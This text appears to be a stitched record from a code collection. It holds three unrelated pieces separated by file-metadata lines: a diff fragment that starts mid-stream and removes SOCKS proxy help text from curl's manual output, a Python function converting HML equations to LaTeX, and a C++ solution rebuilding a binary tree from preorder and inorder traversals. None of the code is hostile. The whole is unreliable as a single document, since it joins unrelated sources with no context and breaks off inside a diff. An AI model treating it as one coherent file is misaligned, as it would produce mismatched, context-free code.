" The proxy host can be specified the exact same way as the proxy\n" " environment variables, including the protocol prefix (http://)\n" , stdout); fputs( " and the embedded user + password.\n" "\n" -" From 7.21.7, the proxy string may be specified with a proto-\n" -" col:// prefix to specify alternative proxy protocols. Use\n" -" socks4://, socks4a://, socks5:// or socks5h:// to request the\n" -" specific SOCKS version to be used. No protocol specified,\n" -" http:// and all others will be treated as HTTP proxies.\n" -"\n" -, stdout); - fputs( " If this option is used several times, the last one will be used.\n" "\n" " -X, --request <command>\n" " (HTTP) Specifies a custom request method to use when communicat-\n" " ing with the HTTP server. The specified request will be used\n" " instead of the method otherwise used (which defaults to GET).\n"
Python
UTF-8
2,058
2.671875
3
[ "Apache-2.0" ]
permissive
from typing import List import json, codecs, os from .hulkReplaceMethod import replaceAllMatrix, replaceAllBar, replaceRootOf, replaceFrac, replaceAllBrace with codecs.open(os.path.join(os.path.dirname(__file__), "convertMap.json"), "r", "utf8") as f: convertMap = json.load(f) def hmlEquation2latex(hmlEqStr: str) -> str: ''' Convert hmlEquation string to latex string. Parameters ---------------------- hmlEqStr : str A hml equation string to be converted. Returns ---------------------- out : str A converted latex string. ''' def replaceBracket(strList: List[str]) -> List[str]: ''' "\left {" -> "\left \{" "\right }" -> "\right \}" ''' for i, string in enumerate(strList): if string == r'{': if i > 0 and strList[i-1] == r'\left': strList[i] = r'\{' if string == r'}': if i > 0 and strList[i-1] == r'\right': strList[i] = r'\}' return strList strConverted = hmlEqStr.replace('`',' ') strConverted = strConverted.replace('{', ' { ') strConverted = strConverted.replace('}', ' } ') strConverted = strConverted.replace('&', ' & ') strList = strConverted.split(' ') for key, candidate in enumerate(strList): if candidate in convertMap["convertMap"]: strList[key] = convertMap["convertMap"][candidate] elif candidate in convertMap["middleConvertMap"]: strList[key] = convertMap["middleConvertMap"][candidate] strList = [string for string in strList if len(string) != 0] strList = replaceBracket(strList) strConverted = ' '.join(strList) strConverted = replaceFrac(strConverted) strConverted = replaceRootOf(strConverted) strConverted = replaceAllMatrix(strConverted) strConverted = replaceAllBar(strConverted) strConverted = replaceAllBrace(strConverted) return strConverted
C++
UTF-8
1,407
3.5
4
[]
no_license
/** * Definition for binary tree * struct TreeNode { * int val; * TreeNode *left; * TreeNode *right; * TreeNode(int x) : val(x), left(NULL), right(NULL) {} * }; */ class Solution { public: vector<int> preOrder; vector<int> inOrder; TreeNode *DFS(int pos, int left, int right) { if(left > right) return NULL; int val = preOrder[pos]; int split; TreeNode *now = new TreeNode(val); if(left == right) return now; for(int i = left; i <= right; ++i) { if(inOrder[i] == val) { split = i; break; } } int leftSize = split - left; now->left = DFS(pos + 1, left, split - 1); now->right = DFS(pos + leftSize + 1, split + 1, right); return now; } TreeNode *buildTree(vector<int> &preorder, vector<int> &inorder) { // Start typing your C/C++ solution below // DO NOT write int main() function preOrder.clear(); inOrder.clear(); for(int i = 0; i < preorder.size(); ++i) preOrder.push_back(preorder[i]); for(int i = 0; i < inorder.size(); ++i) inOrder.push_back(inorder[i]); TreeNode *root = DFS(0, 0, inOrder.size() - 1); return root; } };